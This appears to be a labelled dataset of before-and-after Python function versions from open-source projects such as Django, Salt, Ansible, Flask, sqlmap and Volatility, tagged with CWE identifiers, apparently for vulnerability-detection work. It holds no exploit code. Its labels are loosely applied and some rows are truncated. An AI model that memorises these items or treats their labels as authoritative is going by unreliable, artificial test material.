any(""None"" in query[""sql""] for query in ctx.captured_queries),
False,
)",CWE-Unknown,django/django,5875f03ce61b85dfd9ad34f7b871c231c358d432,"def test_add_generated_field_with_kt_model(self):
class GeneratedFieldKTModel(Model):
data = JSONField()
status = GeneratedField(expression=KT(""data__status""), db_persist=True)
class Meta:
app_label = ""schema""
with CaptureQueriesContext(connection) as ctx:
with connection.schema_editor() as editor:
editor.create_model(GeneratedFieldKTModel)
self.assertIs(
any(""None"" in query[""sql""] for query in ctx.captured_queries),
False,
)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/bash_hash.py,0,"def calculate(self):
mac_common.set_plugin_members(self)
tasks = mac_pslist.mac_pslist(self._config).calculate()
nbuckets_offset = self.addr_space.profile.get_obj_offset(""_bash_hash_table"", ""nbuckets"")
for task in tasks:
proc_as = task.get_process_address_space()
# In cases when mm is an invalid pointer
if not proc_as:
continue
# Do we scan everything or just /bin/bash instances?
if not (self._config.SCAN_ALL or str(task.p_comm) == ""bash""):
continue
bit_string = str(task.task.map.pmap.pm_task_map or '')[9:]
if bit_string.find(""64BIT"") == -1:
addr_type = ""unsigned int""
else:
addr_type = ""unsigned long long""
proc_as = task.get_process_address_space()
for map in task.get_proc_maps():
if map.get_path() != """":
continue
off = map.start
while off < map.end:
# test the number of buckets
dr = proc_as.read(off + nbuckets_offset, 4)
if dr == None:
new_off = (off & ~0xfff) + 0xfff + 1
off = new_off
continue
test = struct.unpack("" 0 and bucket.data.is_valid() and bucket.key.is_valid():
pdata = bucket.data
if pdata.path.is_valid() and (0 <= pdata.flags <= 2):
yield task, bucket
bucket = bucket.next
off = off + 1",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def calculate(self):
mac_common.set_plugin_members(self)
tasks = mac_pslist.mac_pslist(self._config).calculate()
nbuckets_offset = self.addr_space.profile.get_obj_offset(""_bash_hash_table"", ""nbuckets"")
for task in tasks:
proc_as = task.get_process_address_space()
# In cases when mm is an invalid pointer
if not proc_as:
continue
# Do we scan everything or just /bin/bash instances?
if not (self._config.SCAN_ALL or str(task.p_comm) == ""bash""):
continue
proc_as = task.get_process_address_space()
for map in task.get_proc_maps():
if map.get_path() != """":
continue
off = map.start
while off < map.end:
# test the number of buckets
dr = proc_as.read(off + nbuckets_offset, 4)
if dr == None:
new_off = (off & ~0xfff) + 0xfff + 1
off = new_off
continue
test = struct.unpack("" 0 and bucket.data.is_valid() and bucket.key.is_valid():
pdata = bucket.data
if pdata.path.is_valid() and (0 <= pdata.flags <= 2):
yield task, bucket
bucket = bucket.next
off = off + 1"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_clear_db_references(self, session, create_task_instance):
tables = [TaskFail, RenderedTaskInstanceFields, XCom]
ti = create_task_instance()
ti.note = ""sample note""
session.merge(ti)
session.commit()
for table in [TaskFail, RenderedTaskInstanceFields]:
session.add(table(ti))
XCom.set(key=""key"", value=""value"", task_id=ti.task_id, dag_id=ti.dag_id, run_id=ti.run_id)
session.commit()
for table in tables:
assert session.query(table).count() == 1
filter_kwargs = dict(dag_id=ti.dag_id, task_id=ti.task_id, run_id=ti.run_id, map_index=ti.map_index)
ti_note = session.query(TaskInstanceNote).filter_by(**filter_kwargs).one()
assert ti_note.content == ""sample note""
ti.clear_db_references(session)
for table in tables:
assert session.query(table).count() == 0
assert session.query(TaskInstanceNote).filter_by(**filter_kwargs).one_or_none() is None",CWE-703,apache/airflow,0b9ca46fdb940d7973d424f7991f2fa821e2419f,"def test_clear_db_references(self, session, create_task_instance):
tables = [TaskFail, RenderedTaskInstanceFields, XCom]
ti = create_task_instance()
session.merge(ti)
session.commit()
for table in [TaskFail, RenderedTaskInstanceFields]:
session.add(table(ti))
XCom.set(key=""key"", value=""value"", task_id=ti.task_id, dag_id=ti.dag_id, run_id=ti.run_id)
session.commit()
for table in tables:
assert session.query(table).count() == 1
ti.clear_db_references(session)
for table in tables:
assert session.query(table).count() == 0"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/test_notebookapp.py,0,"def test_notebook_stop():
def list_running_servers(runtime_dir):
for port in range(100, 110):
yield {
'pid': 1000 + port,
'port': port,
'base_url': '/',
'hostname': 'localhost',
'notebook_dir': '/',
'secure': False,
'token': '',
'password': False,
'url': 'http://localhost:%i' % port,
}
mock_servers = patch('notebook.notebookapp.list_running_servers', list_running_servers)
# test stop with a match
with mock_servers:
app = TestingStopApp()
app.initialize(['105'])
app.start()
nt.assert_equal(len(app.servers_shut_down), 1)
nt.assert_equal(app.servers_shut_down[0]['port'], 105)
# test no match
with mock_servers, patch('os.kill') as os_kill:
app = TestingStopApp()
app.initialize(['999'])
with nt.assert_raises(SystemExit) as exc:
app.start()
nt.assert_equal(exc.exception.code, 1)
nt.assert_equal(len(app.servers_shut_down), 0)",,jupyter/notebook,64105856f491e756782422f468a6e46098e9a63d,"def test_notebook_stop():
def list_running_servers(runtime_dir):
for port in range(100, 110):
yield {
'pid': 1000 + port,
'port': port,
'base_url': '/',
'hostname': 'localhost',
'notebook_dir': '/',
'secure': False,
'token': '',
'password': False,
'url': 'http://localhost:%i' % port,
}
mock_servers = patch('notebook.notebookapp.list_running_servers', list_running_servers)
# test stop with a match
with mock_servers:
app = TestingStopApp()
app.initialize(['105'])
app.start()
nt.assert_equal(len(app.servers_shut_down), 1)
nt.assert_equal(app.servers_shut_down[0]['port'], 105)
# test no match
with mock_servers, patch('os.kill') as os_kill:
app = TestingStopApp()
app.initialize(['999'])
with nt.assert_raises(SystemExit) as exc:
app.start()
nt.assert_equal(exc.exception.exception_code, 1)
nt.assert_equal(len(app.servers_shut_down), 0)"
,UNKNOWN,UNKNOWN,saltcloud/clouds/openstack.py,1,"def preferred_ip(vm_, ips):
'''
Return the preferred Internet protocol. Either 'ipv4' (default) or 'ipv6'.
'''
proto = vm_.get('protocol', __opts__.get('OPENSTACK.protocol', 'ipv4'))
family = socket.AF_INET
if proto == 'ipv6':
family = socket.AF_INET6
for ip in ips:
try:
socket.inet_pton(family, ip)
return ip
except:
continue
return False",CWE-703,saltstack/salt,6370c64daf6486213680246dadb972a96fe2b4cb,"def preferred_ip(vm_, ips):
'''
Return the preferred Internet protocol. Either 'ipv4' (default) or 'ipv6'.
'''
proto = vm_.get('protocol', __opts__.get('OPENSTACK.protocol', 'ipv4'))
family = socket.AF_INET
if proto == 'ipv6':
family = socket.AF_INET6
for ip in ips:
try:
socket.inet_pton(family, ip)
return ip
except:
continue
return False"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/blueprints.py,0,"def app_url_value_preprocessor(self, f):
""""""Same as :meth:`url_value_preprocessor` but application wide.
""""""
self.record_once(lambda s: s.app.url_value_preprocessors
.setdefault(None, []).append(f))
return f",,pallets/flask,f8caa54d31605f8997698d5c6c295ff4cff9ecdb,"def app_url_value_preprocessor(self, f):
""""""Same as :meth:`url_value_preprocessor` but application wide.
""""""
self.record_once(lambda s: s.app.url_value_preprocessor
.setdefault(self.name, []).append(f))
return f"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/core/test_util.py,0,"def test_escaped_representation_simple(self):
res = b_utils.escaped_bytes_representation(b""ascii"")
self.assertEqual(res, b""ascii"")",UNKNOWN,PyCQA/bandit,3747dc897fe182e108fb43ebdf1cff83e490d947,"def test_escaped_representation_simple(self):
res = b_utils.escaped_bytes_representation(b""ascii"")
self.assertEqual(res, b""ascii"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/ninjafirewall.py,0,"def detect(get_page):
retval = False
for vector in WAF_ATTACK_VECTORS:
page, _, _ = get_page(get=vector)
retval |= ""NinjaFirewall: 403 Forbidden"" in (page or """")
retval |= all(_ in (page or """") for _ in (""For security reasons, it was blocked and logged"", ""NinjaFirewall""))
if retval:
break
return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
retval = False
for vector in WAF_ATTACK_VECTORS:
page, _, _ = get_page(get=vector)
retval = ""NinjaFirewall: 403 Forbidden"" in (page or """")
retval |= all(_ in (page or """") for _ in (""For security reasons, it was blocked and logged"", ""NinjaFirewall""))
return retval"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/geos/point.py,0,"def _ogr_ptr(self):
return gdal.geometries.Point._create_empty() if self.empty else super(Point, self)._ogr_ptr()",CWE-Unknown,django/django,a413ef2155c4f3e5bf6954608d65a96631feb7e6,"def _ogr_ptr(self):
return gdal.geometries.Point._create_empty() if self.empty else super(Point, self)._ogr_ptr()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/azure_rm_common.py,0,"def create_default_securitygroup(self, resource_group, location, name, os_type, open_ports):
'''
Create a default security group 01 to associate with a network interface. If a security group matching
01 exists, return it. Otherwise, create one.
:param resource_group: Resource group name
:param location: azure location name
:param name: base name to use for the security group
:param os_type: one of 'Windows' or 'Linux'. Determins any default rules added to the security group.
:param ssh_port: for os_type 'Linux' port used in rule allowing SSH access.
:param rdp_port: for os_type 'Windows' port used in rule allowing RDP access.
:return: security_group object
'''
security_group_name = name + '01'
group = None
self.log(""Create security group {0}"".format(security_group_name))
self.log(""Check to see if security group {0} exists"".format(security_group_name))
try:
group = self.network_client.network_security_groups.get(resource_group, security_group_name)
except CloudError:
pass
if group:
self.log(""Security group {0} found."".format(security_group_name))
self.check_provisioning_state(group)
return group
parameters = NetworkSecurityGroup()
parameters.location = location
if not open_ports:
# Open default ports based on OS type
if os_type == 'Linux':
# add an inbound SSH rule
parameters.security_rules = [
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow SSH Access',
source_port_range='*', destination_port_range='22', priority=100, name='SSH')
]
parameters.location = location
else:
# for windows add inbound RDP and WinRM rules
parameters.security_rules = [
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 3389',
source_port_range='*', destination_port_range='3389', priority=100, name='RDP01'),
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow WinRM HTTPS port 5986',
source_port_range='*', destination_port_range='5986', priority=101, name='WinRM01'),
]
else:
# Open custom ports
parameters.security_rules = []
priority = 100
for port in open_ports:
priority += 1
rule_name = ""Rule_{0}"".format(priority)
parameters.security_rules.append(
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', source_port_range='*',
destination_port_range=str(port), priority=priority, name=rule_name)
)
self.log('Creating default security group {0}'.format(security_group_name))
try:
poller = self.network_client.network_security_groups.create_or_update(resource_group,
security_group_name,
parameters)
except Exception as exc:
self.fail(""Error creating default security rule {0} - {1}"".format(security_group_name, str(exc)))
return self.get_poller_result(poller)",,ansible/ansible,595946b80eeedbbc5dfc2c1217a54283850305f0,"def create_default_securitygroup(self, resource_group, location, name, os_type, open_ports):
'''
Create a default security group 01 to associate with a network interface. If a security group matching
01 exists, return it. Otherwise, create one.
:param resource_group: Resource group name
:param location: azure location name
:param name: base name to use for the security group
:param os_type: one of 'Windows' or 'Linux'. Determins any default rules added to the security group.
:param ssh_port: for os_type 'Linux' port used in rule allowing SSH access.
:param rdp_port: for os_type 'Windows' port used in rule allowing RDP access.
:return: security_group object
'''
security_group_name = name + '01'
group = None
self.log(""Create security group {0}"".format(security_group_name))
self.log(""Check to see if security group {0} exists"".format(security_group_name))
try:
group = self.network_client.network_security_groups.get(resource_group, security_group_name)
except CloudError:
pass
if group:
self.log(""Security group {0} found."".format(security_group_name))
self.check_provisioning_state(group)
return group
parameters = NetworkSecurityGroup()
parameters.location = location
if not open_ports:
# Open default ports based on OS type
if os_type == 'Linux':
# add an inbound SSH rule
parameters.security_rules = [
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow SSH Access',
source_port_range='*', destination_port_range='22', priority=100, name='SSH')
]
parameters.location = location
else:
# for windows add inbound RDP rules
parameters.security_rules = [
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 3389',
source_port_range='*', destination_port_range='3389', priority=100, name='RDP01'),
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 5986',
source_port_range='*', destination_port_range='5986', priority=101, name='RDP01'),
]
else:
# Open custom ports
parameters.security_rules = []
priority = 100
for port in open_ports:
priority += 1
rule_name = ""Rule_{0}"".format(priority)
parameters.security_rules.append(
SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', source_port_range='*',
destination_port_range=str(port), priority=priority, name=rule_name)
)
self.log('Creating default security group {0}'.format(security_group_name))
try:
poller = self.network_client.network_security_groups.create_or_update(resource_group,
security_group_name,
parameters)
except Exception as exc:
self.fail(""Error creating default security rule {0} - {1}"".format(security_group_name, str(exc)))
return self.get_poller_result(poller)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/units/modules/network/eos/test_eos_config.py,0,"def test_eos_config_backup_returns__backup__(self):
args = dict(backup=True)
set_module_args(args)
result = self.execute_module()
self.assertIn('__backup__', result)",,ansible/ansible,3bbb32cac5e60df3e36d2d068aca8eeb831bb3dc,"def test_eos_config_backup_returns__backup__(self):
args = dict(backup=True)
set_module_args(args)
result = self.execute_module()
self.assertIn('__backup__', result)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/shortcuts/__init__.py,0,"def render_to_response(*args, **kwargs):
return HttpResponse(loader.render_to_string(*args, **kwargs))",CWE-Unknown,django/django,0c341d780ebcde0e81c81eda07e2db3aaa92549b,"def render_to_response(*args, **kwargs):
return HttpResponse(loader.render_to_string(*args, **kwargs))"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_mac_power.py,1,"def test_computer_sleep(salt_call_cli, setup_teardown_vars):
""""""
Test power.get_computer_sleep
Test power.set_computer_sleep
""""""
# Normal Functionality
ret = salt_call_cli.run(""power.set_computer_sleep"", 90)
assert ret.data
ret = salt_call_cli.run(""power.get_computer_sleep"")
assert ret.data == ""after 90 minutes""
ret = salt_call_cli.run(""power.set_computer_sleep"", ""Off"")
assert ret.data
ret = salt_call_cli.run(""power.get_computer_sleep"")
assert ret.data == ""Never""
# Test invalid input
ret = salt_call_cli.run(""power.set_computer_sleep"", ""spongebob"")
assert ""Invalid String Value for Minutes"" in ret.data
ret = salt_call_cli.run(""power.set_computer_sleep"", 0)
assert ""Invalid Integer Value for Minutes"" in ret.data
ret = salt_call_cli.run(""power.set_computer_sleep"", 181)
assert ""Invalid Integer Value for Minutes"" in ret.data
ret = salt_call_cli.run(""power.set_computer_sleep"", True)
assert ""Invalid Boolean Value for Minutes"" in ret.data",CWE-703,saltstack/salt,ff4a2fb9d1c86806b85699c58f6bcd271d7aeefe,"def test_computer_sleep(salt_call_cli, setup_teardown_vars):
""""""
Test power.get_computer_sleep
Test power.set_computer_sleep
""""""
# Normal Functionality
assert salt_call_cli.run(""power.set_computer_sleep"", 90)
assert salt_call_cli.run(""power.get_computer_sleep"") == ""after 90 minutes""
assert salt_call_cli.run(""power.set_computer_sleep"", ""Off"")
assert salt_call_cli.run(""power.get_computer_sleep"") == ""Never""
# Test invalid input
assert ""Invalid String Value for Minutes"" in salt_call_cli.run(
""power.set_computer_sleep"", ""spongebob""
)
assert ""Invalid Integer Value for Minutes"" in salt_call_cli.run(
""power.set_computer_sleep"", 0
)
assert ""Invalid Integer Value for Minutes"" in salt_call_cli.run(
""power.set_computer_sleep"", 181
)
assert ""Invalid Boolean Value for Minutes"" in salt_call_cli.run(
""power.set_computer_sleep"", True
)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/win_reg.py,0,"def cast_vdata(vdata=None, vtype='REG_SZ'):
'''
Cast the ``vdata` value to the appropriate data type for the registry type
specified in ``vtype``
Args:
vdata (str, int, list, bytes): The data to cast
vtype (str):
The type of data to be written to the registry. Must be one of the
following:
- REG_BINARY
- REG_DWORD
- REG_EXPAND_SZ
- REG_MULTI_SZ
- REG_QWORD
- REG_SZ
Returns:
The vdata cast to the appropriate type. Will be unicode string, binary,
list of unicode strings, or int
Usage:
.. code-block:: python
import salt.utils.win_reg
winreg.cast_vdata(vdata='This is the string', vtype='REG_SZ')
'''
# Check data type and cast to expected type
# int will automatically become long on 64bit numbers
# https://www.python.org/dev/peps/pep-0237/
registry = Registry()
vtype_value = registry.vtype[vtype]
# String Types to Unicode
if vtype_value in [win32con.REG_SZ, win32con.REG_EXPAND_SZ]:
return _to_unicode(vdata)
# Don't touch binary... if it's binary
elif vtype_value == win32con.REG_BINARY:
if isinstance(vdata, six.text_type):
# Unicode data must be encoded
return vdata.encode('utf-8')
return vdata
# Make sure REG_MULTI_SZ is a list of strings
elif vtype_value == win32con.REG_MULTI_SZ:
return [_to_unicode(i) for i in vdata]
# Make sure REG_QWORD is a 64 bit integer
elif vtype_value == win32con.REG_QWORD:
return vdata if six.PY3 else long(vdata) # pylint: disable=W1699
# Everything else is int
else:
return int(vdata)",,saltstack/salt,9ad43f2b711f98659520cbdff04ad2ca1ab09f73,"def cast_vdata(vdata=None, vtype='REG_SZ'):
'''
Cast the ``vdata` value to the appropriate data type for the registry type
specified in ``vtype``
Args:
vdata (str, int, list, bytes): The data to cast
vtype (str):
The type of data to be written to the registry. Must be one of the
following:
- REG_BINARY
- REG_DWORD
- REG_EXPAND_SZ
- REG_MULTI_SZ
- REG_QWORD
- REG_SZ
Returns:
The vdata cast to the appropriate type. Will be unicode string, binary,
list of unicode strings, or int
Usage:
.. code-block:: python
import salt.utils.win_reg
winreg.cast_vdata(vdata='This is the string', vtype='REG_SZ')
'''
# Check data type and cast to expected type
# int will automatically become long on 64bit numbers
# https://www.python.org/dev/peps/pep-0237/
registry = Registry()
vtype_value = registry.vtype[vtype]
# String Types to Unicode
if vtype_value in [win32con.REG_SZ, win32con.REG_EXPAND_SZ]:
return _to_unicode(vdata)
# Don't touch binary... if it's binary
elif vtype_value == win32con.REG_BINARY:
if isinstance(vdata, six.text_type):
# Unicode data must be encoded
return vdata.encode('utf-8')
return vdata
# Make sure REG_MULTI_SZ is a list of strings
elif vtype_value == win32con.REG_MULTI_SZ:
return [_to_unicode(i) for i in vdata]
# Everything else is int
else:
return int(vdata)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/ios/ios_vlans.py,0,"def main():
""""""
Main entry point for module execution
:returns: the result form module invocation
""""""
required_if = [('state', 'merged', ('config',)),
('state', 'replaced', ('config',)),
('state', 'overridden', ('config',))]
module = AnsibleModule(argument_spec=VlansArgs.argument_spec,
required_if=required_if,
supports_check_mode=True)
result = Vlans(module).execute_module()
module.exit_json(**result)",,ansible/ansible,7a5a5e7c87daee1d343a432894ff04a2251d6349,"def main():
""""""
Main entry point for module execution
:returns: the result form module invocation
""""""
module = AnsibleModule(argument_spec=VlansArgs.argument_spec,
supports_check_mode=True)
result = Vlans(module).execute_module()
module.exit_json(**result)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/auth/__init__.py,0,"def mk_token(self, load):
'''
Run time_auth and create a token. Return False or the token
'''
if not self.authenticate_eauth(load):
return {}
fstr = '{0}.auth'.format(load['eauth'])
hash_type = getattr(hashlib, self.opts.get('hash_type', 'md5'))
tok = str(hash_type(os.urandom(512)).hexdigest())
t_path = os.path.join(self.opts['token_dir'], tok)
while os.path.isfile(t_path):
tok = str(hash_type(os.urandom(512)).hexdigest())
t_path = os.path.join(self.opts['token_dir'], tok)
if self._allow_custom_expire(load):
token_expire = load.pop('token_expire', self.opts['token_expire'])
else:
_ = load.pop('token_expire', None)
token_expire = self.opts['token_expire']
tdata = {'start': time.time(),
'expire': time.time() + token_expire,
'name': self.load_name(load),
'eauth': load['eauth'],
'token': tok}
if self.opts['keep_acl_in_token']:
acl_ret = self.__get_acl(load)
tdata['auth_list'] = acl_ret
if 'groups' in load:
tdata['groups'] = load['groups']
try:
with salt.utils.fopen(t_path, 'w+b') as fp_:
fp_.write(self.serial.dumps(tdata))
except (IOError, OSError):
log.warning('Authentication failure: can not write token file ""{0}"".'.format(t_path))
return {}
return tdata",,saltstack/salt,9309a83d2120c4e792d946483023bbdb33d94b22,"def mk_token(self, load):
'''
Run time_auth and create a token. Return False or the token
'''
if not self.authenticate_eauth(load):
return {}
fstr = '{0}.auth'.format(load['eauth'])
hash_type = getattr(hashlib, self.opts.get('hash_type', 'md5'))
tok = str(hash_type(os.urandom(512)).hexdigest())
t_path = os.path.join(self.opts['token_dir'], tok)
while os.path.isfile(t_path):
tok = str(hash_type(os.urandom(512)).hexdigest())
t_path = os.path.join(self.opts['token_dir'], tok)
if self._allow_custom_expire(load):
token_expire = load.pop('token_expire', self.opts['token_expire'])
else:
_ = load.pop('token_expire', None)
token_expire = self.opts['token_expire']
tdata = {'start': time.time(),
'expire': time.time() + token_expire,
'name': self.load_name(load),
'eauth': load['eauth'],
'token': tok}
acl_ret = self.__get_acl(load)
if acl_ret is not None:
tdata['auth_list'] = acl_ret
if 'groups' in load:
tdata['groups'] = load['groups']
try:
with salt.utils.fopen(t_path, 'w+b') as fp_:
fp_.write(self.serial.dumps(tdata))
except (IOError, OSError):
log.warning('Authentication failure: can not write token file ""{0}"".'.format(t_path))
return {}
return tdata"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/ssh_exception.py,0,"def __init__(self, errors):
""""""
:param dict errors:
The errors dict to store, as described by class docstring.
""""""
addrs = list(errors.keys())
body = ', '.join([x[0] for x in addrs[:-1]])
tail = addrs[-1][0]
msg = ""Unable to connect to port {0} on {1} or {2}""
super(NoValidConnectionsError, self).__init__(
None, # stand-in for errno
msg.format(addrs[0][1], body, tail)
)
self.errors = errors",,paramiko/paramiko,858c167a6487e4a9d9cca3653b8e260f085dba02,"def __init__(self, errors):
""""""
:param dict errors:
The errors dict to store, as described by class docstring.
""""""
addrs = errors.keys()
body = ', '.join([x[0] for x in addrs[:-1]])
tail = addrs[-1][0]
msg = ""Unable to connect to port {0} on {1} or {2}""
super(NoValidConnectionsError, self).__init__(
None, # stand-in for errno
msg.format(addrs[0][1], body, tail)
)
self.errors = errors"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def url_for(endpoint, **values):
""""""Generates a URL to the given endpoint with the method provided.
Variable arguments that are unknown to the target endpoint are appended
to the generated URL as query arguments. If the value of a query argument
is ``None``, the whole pair is skipped. In case blueprints are active
you can shortcut references to the same blueprint by prefixing the
local endpoint with a dot (``.``).
This will reference the index function local to the current blueprint::
url_for('.index')
For more information, head over to the :ref:`Quickstart `.
To integrate applications, :class:`Flask` has a hook to intercept URL build
errors through :attr:`Flask.url_build_error_handlers`. The `url_for`
function results in a :exc:`~werkzeug.routing.BuildError` when the current
app does not have a URL for the given endpoint and values. When it does, the
:data:`~flask.current_app` calls its :attr:`~Flask.url_build_error_handlers` if
it is not ``None``, which can return a string to use as the result of
`url_for` (instead of `url_for`'s default to raise the
:exc:`~werkzeug.routing.BuildError` exception) or re-raise the exception.
An example::
def external_url_handler(error, endpoint, values):
""Looks up an external URL when `url_for` cannot build a URL.""
# This is an example of hooking the build_error_handler.
# Here, lookup_url is some utility function you've built
# which looks up the endpoint in some external URL registry.
url = lookup_url(endpoint, **values)
if url is None:
# External lookup did not have a URL.
# Re-raise the BuildError, in context of original traceback.
exc_type, exc_value, tb = sys.exc_info()
if exc_value is error:
raise exc_type, exc_value, tb
else:
raise error
# url_for will use this result, instead of raising BuildError.
return url
app.url_build_error_handlers.append(external_url_handler)
Here, `error` is the instance of :exc:`~werkzeug.routing.BuildError`, and
`endpoint` and `values` are the arguments passed into `url_for`. Note
that this is for building URLs outside the current application, and not for
handling 404 NotFound errors.
.. versionadded:: 0.10
The `_scheme` parameter was added.
.. versionadded:: 0.9
The `_anchor` and `_method` parameters were added.
.. versionadded:: 0.9
Calls :meth:`Flask.handle_build_error` on
:exc:`~werkzeug.routing.BuildError`.
:param endpoint: the endpoint of the URL (name of the function)
:param values: the variable arguments of the URL rule
:param _external: if set to ``True``, an absolute URL is generated. Server
address can be changed via ``SERVER_NAME`` configuration variable which
falls back to the `Host` header, then to the IP and port of the request.
:param _scheme: a string specifying the desired URL scheme. The `_external`
parameter must be set to ``True`` or a :exc:`ValueError` is raised. The default
behavior uses the same scheme as the current request, or
``PREFERRED_URL_SCHEME`` from the :ref:`app configuration ` if no
request context is available. As of Werkzeug 0.10, this also can be set
to an empty string to build protocol-relative URLs.
:param _anchor: if provided this is added as anchor to the URL.
:param _method: if provided this explicitly specifies an HTTP method.
""""""
appctx = _app_ctx_stack.top
reqctx = _request_ctx_stack.top
if appctx is None:
raise RuntimeError(
'Attempted to generate a URL without the application context being'
' pushed. This has to be executed when application context is'
' available.'
)
# If request specific information is available we have some extra
# features that support ""relative"" URLs.
if reqctx is not None:
url_adapter = reqctx.url_adapter
blueprint_name = request.blueprint
if endpoint[:1] == '.':
if blueprint_name is not None:
endpoint = blueprint_name + endpoint
else:
endpoint = endpoint[1:]
external = values.pop('_external', False)
# Otherwise go with the url adapter from the appctx and make
# the URLs external by default.
else:
url_adapter = appctx.url_adapter
if url_adapter is None:
raise RuntimeError(
'Application was not able to create a URL adapter for request'
' independent URL generation. You might be able to fix this by'
' setting the SERVER_NAME config variable.'
)
external = values.pop('_external', True)
anchor = values.pop('_anchor', None)
method = values.pop('_method', None)
scheme = values.pop('_scheme', None)
appctx.app.inject_url_defaults(endpoint, values)
# This is not the best way to deal with this but currently the
# underlying Werkzeug router does not support overriding the scheme on
# a per build call basis.
old_scheme = None
if scheme is not None:
if not external:
raise ValueError('When specifying _scheme, _external must be True')
old_scheme = url_adapter.url_scheme
url_adapter.url_scheme = scheme
try:
try:
rv = url_adapter.build(endpoint, values, method=method,
force_external=external)
finally:
if old_scheme is not None:
url_adapter.url_scheme = old_scheme
except BuildError as error:
# We need to inject the values again so that the app callback can
# deal with that sort of stuff.
values['_external'] = external
values['_anchor'] = anchor
values['_method'] = method
values['_scheme'] = scheme
return appctx.app.handle_url_build_error(error, endpoint, values)
if anchor is not None:
rv += '#' + url_quote(anchor)
return rv",,pallets/flask,c88e4634a5fa4460f582a8e9315dc78da41543e8,"def url_for(endpoint, **values):
""""""Generates a URL to the given endpoint with the method provided.
Variable arguments that are unknown to the target endpoint are appended
to the generated URL as query arguments. If the value of a query argument
is ``None``, the whole pair is skipped. In case blueprints are active
you can shortcut references to the same blueprint by prefixing the
local endpoint with a dot (``.``).
This will reference the index function local to the current blueprint::
url_for('.index')
For more information, head over to the :ref:`Quickstart `.
To integrate applications, :class:`Flask` has a hook to intercept URL build
errors through :attr:`Flask.url_build_error_handlers`. The `url_for`
function results in a :exc:`~werkzeug.routing.BuildError` when the current
app does not have a URL for the given endpoint and values. When it does, the
:data:`~flask.current_app` calls its :attr:`~Flask.url_build_error_handlers` if
it is not ``None``, which can return a string to use as the result of
`url_for` (instead of `url_for`'s default to raise the
:exc:`~werkzeug.routing.BuildError` exception) or re-raise the exception.
An example::
def external_url_handler(error, endpoint, values):
""Looks up an external URL when `url_for` cannot build a URL.""
# This is an example of hooking the build_error_handler.
# Here, lookup_url is some utility function you've built
# which looks up the endpoint in some external URL registry.
url = lookup_url(endpoint, **values)
if url is None:
# External lookup did not have a URL.
# Re-raise the BuildError, in context of original traceback.
exc_type, exc_value, tb = sys.exc_info()
if exc_value is error:
raise exc_type, exc_value, tb
else:
raise error
# url_for will use this result, instead of raising BuildError.
return url
app.url_build_error_handlers.append(external_url_handler)
Here, `error` is the instance of :exc:`~werkzeug.routing.BuildError`, and
`endpoint` and `values` are the arguments passed into `url_for`. Note
that this is for building URLs outside the current application, and not for
handling 404 NotFound errors.
.. versionadded:: 0.10
The `_scheme` parameter was added.
.. versionadded:: 0.9
The `_anchor` and `_method` parameters were added.
.. versionadded:: 0.9
Calls :meth:`Flask.handle_build_error` on
:exc:`~werkzeug.routing.BuildError`.
:param endpoint: the endpoint of the URL (name of the function)
:param values: the variable arguments of the URL rule
:param _external: if set to ``True``, an absolute URL is generated. Server
address can be changed via ``SERVER_NAME`` configuration variable which
defaults to `localhost`.
:param _scheme: a string specifying the desired URL scheme. The `_external`
parameter must be set to ``True`` or a :exc:`ValueError` is raised. The default
behavior uses the same scheme as the current request, or
``PREFERRED_URL_SCHEME`` from the :ref:`app configuration ` if no
request context is available. As of Werkzeug 0.10, this also can be set
to an empty string to build protocol-relative URLs.
:param _anchor: if provided this is added as anchor to the URL.
:param _method: if provided this explicitly specifies an HTTP method.
""""""
appctx = _app_ctx_stack.top
reqctx = _request_ctx_stack.top
if appctx is None:
raise RuntimeError(
'Attempted to generate a URL without the application context being'
' pushed. This has to be executed when application context is'
' available.'
)
# If request specific information is available we have some extra
# features that support ""relative"" URLs.
if reqctx is not None:
url_adapter = reqctx.url_adapter
blueprint_name = request.blueprint
if endpoint[:1] == '.':
if blueprint_name is not None:
endpoint = blueprint_name + endpoint
else:
endpoint = endpoint[1:]
external = values.pop('_external', False)
# Otherwise go with the url adapter from the appctx and make
# the URLs external by default.
else:
url_adapter = appctx.url_adapter
if url_adapter is None:
raise RuntimeError(
'Application was not able to create a URL adapter for request'
' independent URL generation. You might be able to fix this by'
' setting the SERVER_NAME config variable.'
)
external = values.pop('_external', True)
anchor = values.pop('_anchor', None)
method = values.pop('_method', None)
scheme = values.pop('_scheme', None)
appctx.app.inject_url_defaults(endpoint, values)
# This is not the best way to deal with this but currently the
# underlying Werkzeug router does not support overriding the scheme on
# a per build call basis.
old_scheme = None
if scheme is not None:
if not external:
raise ValueError('When specifying _scheme, _external must be True')
old_scheme = url_adapter.url_scheme
url_adapter.url_scheme = scheme
try:
try:
rv = url_adapter.build(endpoint, values, method=method,
